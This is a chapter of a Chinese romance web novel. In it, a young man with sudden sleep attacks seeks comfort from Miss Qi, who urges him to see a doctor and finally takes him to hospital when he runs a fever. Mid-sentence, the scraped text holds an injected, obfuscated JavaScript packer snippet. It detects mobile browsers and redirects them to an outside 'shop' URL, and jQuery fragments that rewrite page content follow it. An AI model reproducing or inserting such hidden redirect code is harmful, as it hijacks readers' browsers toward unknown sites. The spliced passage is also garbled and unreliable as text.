18. 得寸进尺的家伙

作品:《没头脑,特高兴

    季玉醒来后很懊恼。


    也很开心,偷偷地。


    懊恼睡病再次发作,不仅麻烦齐小姐,而且大大缩短了他们相处的时间。


    虽然知道不应该,但能从齐小姐怀里醒来,真的、真的、真的——好幸福啊!!!!!!!!


    她的怀抱好温暖,软软的,有阳光的温度,干净的皂香和棉花糖的触感……打住啊季玉!!!你在回味什么?!还不赶紧麻溜地识趣地滚远点!!知道你的脑袋有多重吗?压坏了齐小姐怎么办?!!


    是男人就要主动!做好被拒绝的打算,然后告诉齐小姐你的所思所想!齐小姐是非常温柔的好人,既然没有表露出任何厌恶,也不用着急起来吧。


    正是因为齐小姐很好,所以才更不应该让她为难呀!


    长久以来住在他脑袋里的两位居民天使小白和恶魔小黑,正在激烈争吵中,小白目前占据上风,然而最终小黑使用一句话必杀技取得胜利。


    「想想看齐小姐的前男友们,再看看自己,你们之间的差距在哪里?」


    季玉根本不认识那些人,没见过,也没有具体信息,自然无法与他们进行类比。


    但他在一瞬间审视完自己,找到浑身上下所有的缺点和不足,比如被动、无趣、懦弱、敏感多疑、犹豫不决等等等,总结就是糟糕的性格上没有任何优点,粗略一扫没钱没学历没头脑没经历,外形上跟竹节虫似的,还经常被人说长得不像男人。


    他想,或许任何人都比他有资格站在齐小姐身旁,比他有资格投入齐小姐的怀抱。


    可是,此时此刻,窝在齐小姐怀里的人是他,只有他。那些人,说不定从来没有如此幸运过,说不定早死了呢。反正肯定活不长,和齐小姐谈过恋爱再被甩,肯定没过几天就死了吧。


    齐小姐本人,压根不知道怀里刚醒来无辜眨巴大眼睛、天使般面孔的人心理活动如此丰富,甚至已经进行到了恶狠狠的诅咒活动。


    她只看见,天使瞳仁睁大,猛地起身,又缓缓倒回,像某种烂电影的慢镜头,带着试探和讨好观众的心思,然后惨兮兮地撒娇:“……头晕。”


    季玉知道,暴露弱点其实是一件危险的事,通常会使人厌烦。比如在父母面前生病或是哭泣,他们只会埋怨,变本加厉地对待他。但齐小姐不一样。就算是赌,他也要试一试。


    见齐妙没回应,季玉脸色一会儿红一会儿白的,颤颤巍巍地抬手遮住眼睛:“……我,我好像又要晕过去了……”


    行啊,现在都学会耍小手段了。


    不过,漂亮的人示弱撒娇,还真是让人难以拒绝呢。


    齐妙没拆穿他的把戏,更何况其实他的脸色算不上好,到底还是身体不舒服,也不知道这傻小子究竟是怎么长时间忍受的。


    “那就再睡一会儿吧,放轻松。”她拍了拍季玉挡眼的手臂,示意其放下,然后替他按摩太阳穴。


    季玉乖乖应声,双手合十置于腹前,动作规矩极了,但肩颈脊背都轰然软化下来。他想起什么,大惊失色,再着急忙慌地摸摸后脑,发现果然空空如也。


    齐小姐给他扎的马尾没有了……


    会不会,其实,根本没有这回事呢……


    二十岁的年轻男人皮肤白皙光滑,细腻紧实,大概是与生俱来的天赋,既不像灰头土脸的苦学生,也不像油腻松垮的老男人。即便在注重护肤的同龄人中,依然优越。


    他蹙起眉,桃花眼尾低低垂下,咬出血色的红唇嘟起,短短十几秒内表情变幻难测。齐妙解释说:“你倒下来的时候,我顺手把马尾散开了,这样平躺不会难受。发绳在外套右边口袋。”


    原来是真的!


    季玉的唇角刚上扬两个像素点,就极速垮掉,变成一个可怜的下弯弧度。发绳令他想起另一桩悲伤心事。


    “酒吧那晚,齐小姐没要我的发绳……”他枕在齐妙腿上,凝视着她,发红的双眼弥漫水雾,委屈哽咽:“是不是嫌弃……”


    得寸进尺。


    小狗的学习能力很快,当他发现主人的在意,当他知道什么方法能让主人再多关注他一点儿,他就会一次又一次地尝试。


    齐妙清楚,眼前这位小狗的的确确在真情实感的伤心,她的妄加猜测只是提供一种可能性,保留一份理性。


    “不是嫌弃。非必要和特殊情况,我不用别人的东西。”


    季玉还是伤心得要掉眼泪的模样。


    她伸手摸额头探温度,放柔了声音,半哄半命令:“好了,别乱想。不许发烧。”


    “我不乱想了,也不生病!”她说什么就是什么,季玉脑子一抽,嘴巴跑在更前面,脱口而出:“……那,那我可以成为齐小姐的必要和特殊情况吗?”


    “看你表现,什么时候真的养好身体了再说。”


    齐妙眉眼平和,指尖按摩的力道不轻不重,从额角到发间,温柔地抚摸安慰。她开口,语气未变:“猝睡的问题,你有去医院检查过吗?”


    掌心下的身躯一颤,如实说:“……没有。”


    “以前中学老师建议过我去看病,妈妈却说我没病。应该不是生病啦,可能是我太懒惰,晚上又总失眠做梦……”


    季玉讪笑,提及自己的身体状况,难免尴尬和羞愧,以及恐惧,害怕齐小姐的脸上流露出令他退缩的表情。


    “没有哪里不舒服,只是会突然睡着而已,就是很麻烦身边人,有时候还会吓到别人,这些都很抱歉……检查不出什么的,白白浪费钱,我很健康,所以才能长这么高……”


    “身高由基因决定。”齐妙扫了他一眼:“对于你的身高来说,你明显偏瘦。”


    “有,有吗?我一直坚持健身的,练了些微不足道的肌肉,应该比看起来健壮……”


    季玉小声解释,说着说着就不自觉将话题落到齐妙身上。


    “齐小姐才是真的好瘦好瘦,手腕只有这么一点点,骨架也很小,让人很担心平时有没有好好吃饭呢……”


    齐妙的实际身高勉强算中等偏上,但因为足够瘦,比例好,四肢修长,视觉上增高了不少。


    她拥有一双漂亮的手,骨节分明,牛奶肤色,柔嫩细滑如暖玉。她的手腕非常细,收至最小尺寸的手镯挂在上面晃晃荡荡,偶尔和无意接触的东西碰撞出清脆悦耳的声音。


    “啊齐小姐不要误会,我没有总是偷偷盯着你看!就是,齐小姐有一种很直观的纤细。”


    一阵风袭来,橙黄的落叶飘零而下,季玉回过神,急匆匆收回停留已久的视线,撇过脸,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16846311|190924||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    看两分钟的秃头树冷静冷静。


    齐妙再次以生物基因说,一言以蔽之:“一日三餐,一顿不落。我父母都是长不胖的体质。”


    照他偏题的速度,接下来指不定得聊到火星上有没有甜死人不偿命卡路里满满的沙琪玛的问题上了,反正左右就是讳疾忌医,不愿谈及自身。


    齐妙并不擅长聊天,从她私下和男同事无所事事地喝苦哈哈的茶,半天憋不出来个话题时得以看出。


    她切回正题的方式简单粗暴,配上她的另一副银丝框眼镜,不近人情的冷感油然而生,像极解剖小白鼠的科学家:“据我所知,不管是发作性睡病还是嗜睡症,虽然看起来像进入了一段安稳的睡眠中,实际上根本无法得到真正的休息吧?严重时会发生梦魇,出现惊惧、痉挛、呼吸困难的症状,长此以往,不仅影响生活,更不利于身心健康。”


    这些话专业得让他如同身处就诊现场,她每说一句不带感情的症状描述,季玉的脸色就差上一分,直到最后他的脸彻底变成灰白墙面。


    齐小姐很厉害,博学广识,什么都懂,说得很准确。正因如此,他才难过。


    难过齐小姐好像只是把他当做一个认识的病人,没有摸摸他的脑袋,没有疼惜安慰的心情,没有问他是不是很不舒服。每次的温存好像都异常短暂,异常不真实。


    难过自己什么时候开始变得这么贪婪,明明没遇见齐小姐之前也好好活下来了,为什么现在却觉得少了她的安慰,就难过得快死了一样。


    脑袋快要炸开,只有敲碎敲烂到无法拼凑复原的地步,才能不乱想吧……季玉感觉很累,躺着也天旋地转的,各方传来的嘈杂声音隔了层水面。他艰难吞咽,张了张嘴,呼出灼热的气息,声音干涩沙哑:“……那齐小姐希望我怎么做?”


    齐妙不是没发现他骤跌的情绪,但她认为,身体大事不可耽误,尽早面对,避免酿成无法挽回的问题。


    她轻叹口气,试图讲些显而易见三岁小孩都明白的道理:“不是我希望,而是你需要多考虑自身健康情况,及时就医,看看有没有什么控制调理的方法。”


    “……对不起齐小姐,我不想听这些。”季玉闭了闭眼,眉头紧紧皱起,难耐地频频捶向发痛的额头,灰白发青的脸迅速烧得通红。


    他半撑开眼,盈满眼眶的生理性泪水溢出,意识愈发迷朦:“我只想知道,你希望我怎么做。”


    “我会按照你说的去做。”


    又发烧了。


    还在闹别扭。


    这家伙真是……不惜命到了极致。这样的人是最难缠的,情绪上头,不讲理智,不在乎身体,感性得要死要活。


    齐妙知道自己现在最该做的,最多是出于人道主义把人送到医院,然后挥一挥衣袖不带走任何一片云彩地利落离开,从此不再联系,相忘于江湖。


    然而,面对那双潋滟夺目的眼睛,二十六年的人生里,她第一次想要低声叫骂。她随手掏出一张降温贴,拍上他脑袋,气势十足,下手却轻飘飘的。


    她确信自己头脑清醒,不为情绪所控,只是语气略重,但还不至于咬牙切齿,她说:“现在、立刻、马上,跟我去医院。”


    真荒唐。


    她现在居然会随身携带降温贴。